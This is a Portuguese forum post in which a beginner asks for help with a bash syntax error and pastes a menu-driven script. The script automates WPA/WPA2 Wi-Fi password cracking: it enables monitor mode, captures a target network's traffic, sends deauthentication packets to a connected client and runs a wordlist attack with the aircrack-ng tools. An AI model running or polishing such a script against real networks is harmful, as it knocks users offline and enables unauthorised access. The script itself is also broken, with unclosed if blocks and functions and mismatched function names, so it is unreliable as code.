Enviado em 04/07/2015 - 19:18h
Pessoal, sou novo em shell script e estou com dificuldades para terminar um script que estou fazendo afim de facilitar testes em redes wireless..
Estou tentando usar um case dentro de outro chamando as funções, eu tinha terminado todas as funções com o }, porem na hora de executar foi acusando erros e mandando eu tirar alguns. Agora na hora de executar da o erro: line 105: syntax error: unexpected end of file.. Pessoal, mais uma duvida, é possivel eu buscar dados que foram armazenados em outra classe para usar?
Segue meu script, assim que ficar ok vou publicar pra todo mundo! Desde já agradeço qualquer ajuda..
Estou tentando usar um case dentro de outro chamando as funções, eu tinha terminado todas as funções com o }, porem na hora de executar foi acusando erros e mandando eu tirar alguns. Agora na hora de executar da o erro: line 105: syntax error: unexpected end of file.. Pessoal, mais uma duvida, é possivel eu buscar dados que foram armazenados em outra classe para usar?
Segue meu script, assim que ficar ok vou publicar pra todo mundo! Desde já agradeço qualquer ajuda..
#!/bin/bash
#Automatizacao de testes em redes Wifi
#ftm.fernando@gmail.com
#Execute como ROOT!
#
Wifi() {
echo "Automatizacao de testes em redes Wifi WPA/WPA2"
echo "@ph4nt3r4t1gr1s"
echo "-----------------------------------------------"
echo "Menu:"
echo "-----------------------------------------------"
echo "1 - Setar variaveis"
echo "2 - Ativar modo monitoramente e Snnifer na placa Wifi"
echo "3 - Ativar injecao de pacotes"
echo "4 - Quebrar Senha"
echo "5 - Exit"
echo
echo -n "Digite a opcao"
read opcao
case $opcao in
1) Seta_Var ;;
2) Snnifer ;;
3) Inject ;;
4) Crack ;;
5) Exit ;;
*) "Opcao desconhecida." ; echo ; Wifi ;;
esac
}
Seta_Var(){
echo "1 - Setar interface Wifi"
echo "2 - Setar diretorio captura"
echo "3 - Setar wordlist"
echo "4 - Verificar parametros setados"
echo "5 - Voltar ao Menu principal"
echo -n "Digite uma opcao"
read opcao_var
case $opcao_var in
1) interface_wifi ;;
2) diretorio_captura ;;
3) wordlist ;;
4) parametros ;;
5) Menu_principal ;;
*) "Opcao desconhecida." ; echo ; Seta_Var ;;
esac
}
interface_wifi(){
echo -n "Entre com o nome da interface Wifi"
airmon-ng
read interface
Seta_var
}
diretorio_captura(){
echo -n "Entre com o diretorio para salvar a coleta de pacotes"
read dirpacotes
if [ ! -d "$dirpacotes" ]; then
echo "Diretorio nao existe, criando diretorio..."
echo "."
echo ".."
echo "..."
mkdir $dirpacotes
Seta_var
wordlist(){
echo -n "Entre com o caminho absoluto da Wordlist, ex /home/wordlist.txt"
read wordlist
if [ ! -e "$wordlist" ]; then
echo "Wordlist nao existe ou foi digitada incorretamente"
Seta_var
parametros(){
echo "interface Wifi: $interface"
echo "Diretorio Captura: $dirpacotes"
echo "Worlist: $wordlist"
Seta_var
}
Menu_principal() {
Wifi
}
Snnifer(){
airmon-ng start $interface
echo -n "Entre com o nome da interface de monitoramento, ex wlan0mon"
read mon_interface
airodump-ng $mon_interface
echo "Analise a rede wifi a ser quebrada e entre com os dados exatamente como aparecem"
echo "Digite o BSSID da rede desejada:"
read bssid
echo "Digite o Canal, campo CH:"
read canal
echo "Digite o client, mac do pc que esta na rede"
read client
echo "Executando Snnifer.."
airodump-ng -c $canal --bssid $bssid -w $dirpacotes $mon_interface &
Wifi
}
Inject(){
aireplay-ng -0 2 $bssid -c $client $mon_interface
sleep 10
Wifi
}
Crack(){
aircrack-ng -a2 -b $bssid -w $wordlist $dirpacotes/*.cap
sleep 10
Wifi
}
Wifi